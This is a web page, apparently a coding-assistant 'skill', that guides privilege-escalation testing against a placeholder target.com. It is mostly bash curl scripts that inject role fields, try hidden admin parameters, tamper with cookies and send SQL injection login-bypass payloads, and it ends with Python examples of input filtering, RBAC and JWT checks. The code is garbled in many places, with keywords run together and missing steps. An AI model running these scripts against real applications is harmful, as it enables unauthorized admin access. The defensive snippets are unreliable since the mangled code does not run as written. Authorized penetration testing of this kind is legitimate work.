Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Privilege escalation occurs when a user gains access to resources or capabilities beyond their authorized level. There are two types: vertical escalation (gaining higher privileges like admin access) and horizontal escalation (accessing resources of other users at the same privilege level). This test focuses on identifying weaknesses that allow attackers to elevate their privileges within the application.
What to Check
Vertical Escalation Vectors
Role parameter manipulation
Admin function access
Hidden admin endpoints
JWT/token manipulation
Cookie value tampering
SQL injection for role bypass
Mass assignment vulnerabilities
Horizontal Escalation Vectors
User ID manipulation
IDOR vulnerabilities
Session token prediction
Shared resource access
How to Test
Step 1: Enumerate User Roles and Permissions
# Identify role structure from responses
curl -s "https://target.com/api/user/profile" \
-H "Authorization: Bearer $TOKEN" | jq '.role, .permissions'# Check role-related endpoints
curl -s "https://target.com/api/roles" -H "Authorization: Bearer $TOKEN"
curl -s "https://target.com/api/permissions" -H "Authorization: Bearer $TOKEN"# Look for role indicators in responses
grep -iE response.json
"role|admin|permission|privilege|access|level"
Step 2: Test Role Parameter Manipulation
#!/bin/bash# Test role manipulation in various requests# During registration
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role": "admin"
}'# During profile update
curl -s -X PUT "https://target.com/api/user/profile" \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Test User",
"role": "admin"
}'# Test various role values
roles=("admin""administrator""root""superuser""1""0""true""999")
for role in"${roles[@]}"; do
response=$(curl -s -X PUT "https://target.com/api/user/profile" \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"role\": \"$role\"}")
echo"Role: $role - Response: $(echo $response | head -c 100)"done
Step 3: Test Hidden Parameters
# Common hidden parameters for privilege escalation
hidden_params=(
"admin=true""isAdmin=true""is_admin=1""role=admin""user_type=admin""access_level=admin""privilege=high""permissions[]=admin""group_id=1""account_type=admin"
)
for param in"${hidden_params[@]}"; do# Test in JSON body
key=$(echo$param | cut -d'=' -f1)
value=$(echo$param | cut -d'=' -f2)
curl -s -X PUT "https://target.com/api/user/profile" \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"$key\": \"$value\"}"# Test in query string
curl -s "https://target.com/api/user/profile?$param" \
-H "Authorization: Bearer $USER_TOKEN"done
# Test cookie manipulation# Capture cookies from normal user session
curl -s -c cookies.txt "https://target.com/login" \
-d "username=user&password=pass"# Check for role-related cookiescat cookies.txt | grep -iE "role|admin|user|level|type"# Modify cookies
curl -s "https://target.com/admin/dashboard" \
-b "role=admin; session=xxx"
curl -s "https://target.com/admin/dashboard" \
-b "user_type=administrator; session=xxx"
curl -s "https://target.com/admin/dashboard" \
-b "is_admin=1; session=xxx"
Step 6: Test SQL Injection for Role Bypass
# SQLi in login to bypass role check
payloads=(
"admin'--""admin' OR '1'='1""admin'/*""' OR role='admin'--""' UNION SELECT 'admin','password',1--"
)
for payload in"${payloads[@]}"; do
curl -s -X POST "https://target.com/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=$payload&password=anything"done
from functools import wraps
from flask import request, g, abort
# Never trust client-provided role data
PROTECTED_FIELDS = ['role', 'is_admin', 'permissions', 'privilege', 'access_level']
defsanitize_user_input(data):
"""Remove protected fields from user input"""ifisinstance(data, dict):
return {k: v for k, v in data.items() if k notin PROTECTED_FIELDS}
return data
@app.route('/api/user/profile', methods=['PUT'])@require_authdefupdate_profile():
data = sanitize_user_input(request.json)
# Only allow specific fields
allowed_fields = ['name', 'email', 'avatar', 'bio']
filtered_data = {k: v for k, v in data.items() if k in allowed_fields}
# Update user with filtered data only
current_user.update(**filtered_data)
return jsonify({"success": True})
2. Role-Based Access Control (RBAC)
classRBACMiddleware:
ROLE_HIERARCHY = {
'super_admin': ['admin', 'moderator', 'user'],
'admin': ['moderator', 'user'],
'moderator': ['user'],
'user': [],
}
@classmethoddefcheck_permission(cls, user_role, required_role):
"""Check if user role meets or exceeds required role"""if user_role == required_role:
returnTrue# Check hierarchy
inherited_roles = cls.ROLE_HIERARCHY.get(user_role, [])
return required_role in inherited_roles
defrequire_role(required_role):
"""Decorator for role-based access"""defdecorator(f):
@wraps(f)defdecorated_function(*args, **kwargs):
ifnot g.current_user:
abort(401)
user_role = g.current_user.role # From database, NOT from requestifnot RBACMiddleware.check_permission(user_role, required_role):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage@app.route('/admin/users')@require_role('admin')defadmin_users():
return get_all_users()
3. Secure JWT Implementation
import jwt
from datetime import datetime, timedelta
classSecureJWT:
def__init__(self, secret_key, algorithm='HS256'):
self.secret_key = secret_key
self.algorithm = algorithm
defcreate_token(self, user):
"""Create JWT with secure claims"""
payload = {
'sub': user.id, # User ID only'iat': datetime.utcnow(),
'exp': datetime.utcnow() + timedelta(hours=1),
'jti': generate_unique_id(), # Unique token ID
}
# DO NOT include role in token - fetch from databasereturn jwt.encode(payload, self.secret_key, algorithm=self.algorithm)
defverify_token(self, token):
"""Verify token and get user with current role"""try:
# Only accept specific algorithm
payload = jwt.decode(
token,
self.secret_key,
algorithms=[self.algorithm] # Explicit algorithm
)
# Get user from database (includes current role)
user = User.query.get(payload['sub'])
ifnot user ornot user.is_active:
returnNonereturn user
except jwt.ExpiredSignatureError:
returnNoneexcept jwt.InvalidTokenError:
returnNone